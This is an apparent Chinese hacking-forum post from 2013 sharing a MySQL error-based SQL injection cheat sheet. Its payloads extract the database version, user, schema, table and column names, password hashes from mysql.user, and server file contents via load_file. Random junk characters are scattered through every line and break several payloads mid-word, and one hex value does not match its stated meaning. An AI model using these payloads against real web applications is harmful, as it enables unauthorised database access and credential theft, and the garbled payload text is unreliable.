本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
+ m, D$ ^6 g( T8 A7 R+ j1 X
9 s) A ~5 f' V" H0 }: _. ~8 q, n2 Y' @
Mysql暴错注入参考(pdf),每天一贴。。。
, w$ N8 e3 a1 m& Q3 d
, V) m V9 ~: m! O. f; [: G3 r3 ^3 {% yMySql Error Based Injection Reference, ~) z6 g) P0 `% u1 `1 u) m9 J
[Mysql暴错注入参考]
; d3 s3 U5 E1 }. W3 F- p6 CAuthornig0s19927 p+ \; q8 v: \1 ^' Q
Blog:http://pnig0s1992.blog.51cto.com/* n/ i! V1 h% M
TeAm:http://www.FreeBuf.com/
8 r8 l6 {) T2 \5 Z6 S/ }7 tMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
& h* c# u. \5 p/ y; K' V小部分版本使用name_const()时会报错.可以用给出的Method.2测试# l7 J& X5 p2 ^9 c2 e
查询版本:
( Z, Z; v2 S. x' |5 g/ FMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
/ w5 i8 p2 }- Z7 t# f: Z# L$ `join+(select+name_const(@@version,0))b)c)
# A5 g9 A% A4 tMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro; ~$ o6 F! t& a& l
up by a)b)
7 h R. o- w3 }' P& g查询当前用户:: a8 h4 x3 G0 q3 X' x4 l$ M
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
5 l, A. F$ g8 S% l& Q" zMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
, l' X/ ]! t3 E+ dand(0)*2))x+from+information_schema.tables+group+by+x)a)% I: W, T) n4 u/ C: ]7 n$ U
查询当前数据库:5 i% \ l5 m k& ?8 B
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)/ n/ ^0 o- n' _0 j
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo8 T: e- a$ D; b9 v
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
7 Y, k2 P# U, S+ p f! M9 ?4 w, y- |依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+' I& `' b* F$ K
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n! b, u$ D8 {0 O8 R
顺序替换
+ a! J; e" D& t; |0 v爆指定库数目:3 V% ]5 m7 M3 i9 V3 P
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t9 T* {- {& r# X: h9 @) y
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group: d' y6 C5 W0 Z M
+by+x)a)+and+1=1 0x6D7973716C=mysql0 o% p) H" T1 ~/ i3 \
依次爆表:
5 ]5 X9 H9 [/ _) p# @' i" j! o& Qand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
$ f" \3 G# W0 M$ C/ \% [; oable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
& C# F' K6 d4 A2 fbles+group+by+x)a)+and+1=1
. k& ^. ^7 `# j0x6D7973716C=Mysql 将n顺序替换$ N2 v4 }* e x# `; |1 {6 [, h5 G# z% `
爆表内字段数目: S* B9 w8 c: C8 H& j: z" [3 N+ G( T* m
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE. a9 x9 R2 C1 B1 k. C6 ~
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran/ Y7 h m+ T6 b3 R
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
% F$ C% O) |: R依次爆字段:
/ S- G% s# q8 Qand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
% k& [- I' V. v/ i* ?+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
, }0 x2 J+ V1 G% \/ Qloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换1 ^) F l7 B1 t5 ?" P
依次暴内容:
) Q) C" X, ~. l; Z: o5 tand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
7 p! r2 k, `; M6 y% R5 R! U4 ^ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1& n! X, H* W) H% Q3 V
将n顺序替换
9 L0 p5 O* t0 B$ V% V# ?" a' `爆文件内容:
& p& p4 U4 t* I! B Zand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
1 }- S2 K h! l) d* Ufrom+information_schema.tables+group+by+a)b)
& N: B* b8 E" H' I0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
9 O; h% ~& r) JThx for reading.7 A* H9 L, y$ o7 d$ p2 `
! g9 l' R, _) M7 N$ U不要下载也可以,
8 J& Y' }# Q5 ^ |